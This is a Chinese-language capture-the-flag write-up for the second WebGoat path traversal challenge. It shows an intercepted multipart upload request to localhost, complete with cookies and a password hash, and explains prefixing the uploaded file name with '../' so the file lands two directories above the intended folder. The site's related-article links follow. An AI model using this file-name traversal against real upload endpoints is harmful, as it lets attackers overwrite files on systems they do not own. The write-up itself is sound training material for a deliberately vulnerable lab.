【通关】WEBGOAT靶场—Path traversal路径遍历第二关

简介: 该漏洞利用涉及上传文件至WebGoat的PathTraversal模块。目标是覆盖`C:\Users\Sec\.webgoat-8.1.0\PathTraversal\`目录下的文件。默认上传位置为`C:\Users\Sec\.webgoat-8.1.0\PathTraversal\Wsec\test`。通过抓包和修改数据包,将上传路径改为上两级目录,实现目标。在POST请求中,添加目录跳转到文件名前,如`../`,然后发送修改后的包,成功完成挑战。

首先来看看漏洞页面,通过题目提示得知是一道上传文件时遍历路径的题

在这个任务中,目标是覆盖文件系统上的特定文件。WebGoat当然关心用户 因此,您需要将文件上传到正常上传位置之外的以下位置。

那么我们需要上传文件到以下目录当中就能得出flag

C:\Users\Sec/.webgoat-8.1.0/PathTraversal/

尝试上传一张照片发现默认路径上传到

C:\Users\Sec\.webgoat-8.1.0\PathTraversal\Wsec\test"  

但是根据题目要求,需要上传目录至C:\Users\Sec/.webgoat-8.1.0/PathTraversal/

对比两个路径可以发现只需要跳转两个上一级目录即可达到题目要求的效果。

于是我们可以抓包,修改数据包达到目录上一级跳转

POST /WebGoat/PathTraversal/profile-upload HTTP/1.1

Host: localhost:8090

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Content-Type: multipart/form-data; boundary=---------------------------14583636429655905603157264114

Content-Length: 88931

Origin: http://localhost:8090

Connection: close

Referer: http://localhost:8090/WebGoat/start.mvc

Cookie: JSESSIONID=iu9Es2dyhGJQZxVqboqLSnervHyVsaYzfvWSs-ca; UserName=xpcode; PassWord=e10adc3949ba59abbe56e057f20f883e; bjzH_2132_ulastactivity=a3f9tP7PHRuKqFTUZ%2Fq5yBXudCVdhbMCwqZPlxylzNyWk9etXq5R; Phpstorm-c9afe40e=5006de40-8c24-4520-9e7e-a4c62f328f5e

-----------------------------14583636429655905603157264114

Content-Disposition: form-data; name="uploadedFile"; filename="??????.jpg"

Content-Type: image/jpeg

前面的数据包没有什么需要注意的,中间有一点乱码数据,我们直接看最后的几处数据包

-----------------------------14583636429655905603157264114

Content-Disposition: form-data; name="fullName"

test

-----------------------------14583636429655905603157264114

Content-Disposition: form-data; name="email"

test@test.com

-----------------------------14583636429655905603157264114

Content-Disposition: form-data; name="password"

test

-----------------------------14583636429655905603157264114--

-----------------------------14583636429655905603157264114

Content-Disposition: form-data; name="fullName"

test

通过代码审计可以发现传入了一个test文件,所以我们可以在test前加入目录跳转语句最后发包试试

可以看到已经成功通过这一关

Congratulations. You have successfully completed the assignment.  

目录
相关文章
|
4天前
|
XML 安全 数据库
【sqli靶场】第四关和第五关通关思路
【sqli靶场】第四关和第五关通关思路
53 0
|
4天前
【每日一题Day285】LC980不同路径 III | 回溯
【每日一题Day285】LC980不同路径 III | 回溯
22 0
|
4天前
|
存储 算法
算法编程(二十六):判断路径是否相交
算法编程(二十六):判断路径是否相交
32 0
|
7月前
|
监控 安全 Linux
百度搜索:蓝易云【如何使用 Fail2ban 防止对 Linux 的暴力攻击?】
通过上述步骤,你可以使用Fail2ban来防止对Linux系统的暴力攻击。Fail2ban将监视系统日志中的登录尝试,并根据配置的规则进行封禁。这样可以大大减少恶意用户的暴力破解尝试,提高系统的安全性。请注意,在使用Fail2ban之前,建议仔细阅读Fail2ban的文档和配置文件,以确保适当地调整设置以满足你的系统需求。
271 0
|
4天前
|
机器人
leetcode代码记录(不同路径 II
leetcode代码记录(不同路径 II
8 0
|
4天前
|
机器人
leetcode代码记录(不同路径
leetcode代码记录(不同路径
11 0
|
4天前
|
Kubernetes 监控 调度
百度搜索:蓝易云【K8S中的Node管理是怎么回事?】
总体来说,Node管理是Kubernetes集群中的重要部分,确保集群中的节点状态可靠、资源高效利用和容器应用平稳运行。通过Master节点对Node进行管理,Kubernetes实现了高度自动化的容器编排和调度,为云原生应用提供了强大的管理能力。
34 1
|
4天前
|
安全 关系型数据库 MySQL
【sqli靶场】第六关和第七关通关思路
【sqli靶场】第六关和第七关通关思路
62 0
|
4天前
|
SQL 关系型数据库 MySQL
【sqli靶场】第二关和第三关通关思路
【sqli靶场】第二关和第三关通关思路
53 0
|
6月前
|
Shell Linux 网络安全
4-Tr0ll-1百个靶机渗透(精写-思路为主)(下)
4-Tr0ll-1百个靶机渗透(精写-思路为主)(上)
43 0
http://www.vxiaotou.com